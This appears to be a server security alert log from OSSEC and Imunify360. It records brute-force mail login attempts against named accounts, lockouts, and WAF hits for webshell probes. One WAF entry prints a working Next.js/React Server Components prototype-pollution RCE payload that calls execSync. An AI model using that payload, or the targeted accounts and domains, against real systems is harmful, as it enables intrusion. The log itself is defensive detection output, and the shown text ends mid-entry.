plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:47:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64535: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 22:47:16 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:45623: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-02-01 22:47:08 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:36903: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:47:09 dovecot_login authenticator failed for H=(q1J5Zu) [2.58.56.77]:62217: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:47:26 dovecot_login authenticator failed for H=(1KW2NBrTt) [178.16.54.22]:50867: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-02-01 22:47:10 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:36456: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:47:21 dovecot_login authenticator failed for H=(50f7ZhN7Y) [178.16.52.139]:50472: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.248.4.85
country_id: 1269750
description:
2026-02-01 22:47:24 dovecot_login authenticator failed for H=([115.248.153.209]) [115.248.4.85]:54099: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:47:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:48:19 dovecot_login authenticator failed for H=(3GUfbw) [2.58.56.77]:53034: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2026-02-01 22:48:07 dovecot_login authenticator failed for H=([175.206.113.91]) [175.206.113.91]:40546: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:48:17 dovecot_login authenticator failed for H=(V2HLKnwn) [158.94.208.175]:62200: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:48:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58723: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.151
country_id: 1269750
description:
2026-02-01 22:48:14 dovecot_login authenticator failed for H=(nsg-corporate-151.229.187.122.airtel.in) [122.187.229.151]:37408: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:48:15 dovecot_login authenticator failed for H=(VnAis1KKCD) [178.16.52.139]:60062: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-01 22:48:34 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:49542: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-02-01 22:48:39 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:41546: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:49:00 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.194
country_id: 1269750
description:
2026-02-01 22:49:00 dovecot_login authenticator failed for H=(nsg-corporate-194.230.187.122.airtel.in) [122.187.230.194]:60350: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:48:10 dovecot_login authenticator failed for H=(tTS3Ao8TH) [178.16.54.22]:50346: 535 Incorrect authentication data (set_id=alexchan)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:48:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 22:48:52 dovecot_login authenticator failed for H=([103.29.185.162]) [103.29.185.162]:47252: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:49:10 dovecot_login authenticator failed for H=(AhW4Kk) [158.94.208.175]:63547: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 22:49:33 H=([167.148.167.71]) [167.148.167.71]:59117 F=<Server@tujusetia.my> rejected RCPT <shirley.wong@tujusetia.my>: Sender verify failed


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:49:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:49:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:49:19 dovecot_login authenticator failed for H=(Gcx62eTc) [178.16.52.139]:56095: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 22:49:55 dovecot_login authenticator failed for H=([144.121.245.65]) [64.72.74.162]:55596: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:50:00 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:49:02 dovecot_login authenticator failed for H=(XkNGcRL3nr) [178.16.54.22]:64520: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:49:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54263: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:49:23 dovecot_login authenticator failed for H=(6Q3D0w6oh) [178.16.54.22]:64796: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:49:44 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47412: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:49:04 dovecot_login authenticator failed for H=(YgVCrJgIUI) [2.58.56.77]:58920: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:50:07 dovecot_login authenticator failed for H=(3Qk3TmZlyz) [178.16.52.139]:54953: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:50:10 dovecot_login authenticator failed for H=(WG9iivUZR) [2.58.56.77]:51362: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:50:26 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-02-01 22:50:43 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:40263: 535 Incorrect authentication data


plugin: modsec
rule: 77093094
abuser: 157.15.40.58
country_id: 1643084
domain: imax.com.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((41*271))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.197.236.163
country_id: 6252001
description:
2026-02-01 22:50:04 dovecot_plain authenticator failed for H=c-73-197-236-163.hsd1.nj.comcast.net (altudiifia) [73.197.236.163]:57012: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:50:09 dovecot_login authenticator failed for H=(ILkmSv) [178.16.54.22]:50749: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:50:28 dovecot_login authenticator failed for H=(je52DxTiIh) [158.94.208.175]:65522: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:50:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:50:20 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65047: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-02-01 22:50:53 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:50446: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:51:20 dovecot_login authenticator failed for H=(aGKHwJh4) [2.58.56.77]:56876: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.185.173.167
country_id: 1814991
description:
2026-02-01 22:51:42 dovecot_login authenticator failed for H=([110.185.173.167]) [110.185.173.167]:53678: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-02-01 22:51:44 dovecot_plain authenticator failed for H=(gasterma) [173.25.186.130]:65229: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:51:02 dovecot_login authenticator failed for H=(8JILKUT) [178.16.52.139]:61965: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/contact.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:51:03 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60382: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:51:58 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39814: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.166.44
country_id: 798544
description:
2026-02-01 22:51:30 dovecot_login authenticator failed for H=89-68-166-44.dynamic.play.pl [89.68.166.44]:57878: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.243.174
country_id: 732800
description:
2026-02-01 22:51:42 dovecot_plain authenticator failed for H=(stonmore) [92.62.243.174]:57800: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:51:08 dovecot_login authenticator failed for H=(jm01Ze8v) [178.16.54.22]:54708: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:51:20 dovecot_login authenticator failed for H=(oWRwFA2Rmc) [158.94.208.175]:63750: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.63.7.250
country_id: 2921044
description:
2026-02-01 22:52:07 dovecot_login authenticator failed for H=p5b3f07fa.dip0.t-ipconnect.de [91.63.7.250]:60769: 535 Incorrect authentication data (set_id=webmaster@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/portfolio/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:52:28 dovecot_login authenticator failed for H=(sMcLkiLK) [178.16.54.22]:53951: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:52:08 dovecot_login authenticator failed for H=(jULP1N) [2.58.56.77]:54606: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:52:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55599: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
2026-02-01 22:52:18 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com [220.246.47.146]:52857: 535 Incorrect authentication data (set_id=webmaster)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:52:04 dovecot_login authenticator failed for H=(Y4JBAQi) [178.16.52.139]:52542: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:52:04 dovecot_login authenticator failed for H=(RPe3jQvS9) [178.16.54.22]:59520: 535 Incorrect authentication data (set_id=alexchan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.155.205.134
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=19 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:52:12 dovecot_login authenticator failed for H=(799OU3X) [158.94.208.175]:60074: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:53:05 dovecot_login authenticator failed for H=(Jz2Je9) [158.94.208.175]:63966: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:53:07 dovecot_login authenticator failed for H=(ZnayZrMpY) [178.16.54.22]:60802: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:53:16 dovecot_login authenticator failed for H=(exHHKrgEba) [2.58.56.77]:61936: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.217.180.34
country_id: 1835841
domain: chs.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home2/chscommy/public_html/wp-admin||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 4.217.180.34
country_id: 1835841
domain: chs.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/chscommy/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:53:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50244: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:53:07 dovecot_login authenticator failed for H=(1P2StS) [178.16.52.139]:57002: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:54:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:54:23 dovecot_login authenticator failed for H=(wXKpJrkZX) [158.94.208.175]:63684: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.250.65.114
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=55291515046355 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:54:12 dovecot_login authenticator failed for H=(TNMXQvp0R) [178.16.54.22]:56971: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:54:20 dovecot_login authenticator failed for H=(XmYkm2pA) [178.16.52.139]:62641: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:54:02 dovecot_login authenticator failed for H=(cKsJOKHzHa) [2.58.56.77]:53661: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:54:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63482: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:54:12 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47048: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:54:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:54:39 dovecot_login authenticator failed for H=(aIKoT3O30f) [178.16.54.22]:63151: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.50.167.81
country_id: 1269750
description:
2026-02-01 22:56:01 dovecot_login authenticator failed for H=([36.50.167.81]) [36.50.167.81]:59628: 535 Incorrect authentication data (set_id=webmaster)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:55:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:55:17 dovecot_login authenticator failed for H=(EksfvHkn) [158.94.208.175]:61690: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:55:09 dovecot_login authenticator failed for H=(LWH94C1) [2.58.56.77]:62645: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 22:55:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:55:21 dovecot_login authenticator failed for H=(tgRo4T2c0) [178.16.54.22]:64302: 535 Incorrect authentication data (set_id=alexchan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:55:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49511: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.185
country_id: 1733045
description:
2026-02-01 22:55:42 dovecot_login authenticator failed for H=([49.124.159.185]) [49.124.159.185]:59444: 535 Incorrect authentication data (set_id=webmaster@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:55:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:55:07 dovecot_login authenticator failed for H=(fVYQQtQi) [178.16.52.139]:53140: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-02-01 22:56:55 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:49522: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.118
country_id: 1814991
description:
2026-02-01 22:56:30 dovecot_login authenticator failed for H=([111.61.175.118]) [111.61.175.118]:59910: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:56:17 dovecot_login authenticator failed for H=(To9v0QlBm) [2.58.56.77]:53319: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:56:28 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35128: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:56:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58084: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 22:56:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:56:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.254.249.198
country_id: 3469034
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/pipe-repair.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:56:05 dovecot_login authenticator failed for H=(kKCYDL7jE2) [178.16.52.139]:51364: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:56:09 dovecot_login authenticator failed for H=(Zj5Iz0Ks) [158.94.208.175]:55705: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:56:05 dovecot_login authenticator failed for H=(gspSppJ) [178.16.54.22]:62676: 535 Incorrect authentication data (set_id=alexchan)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:56:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
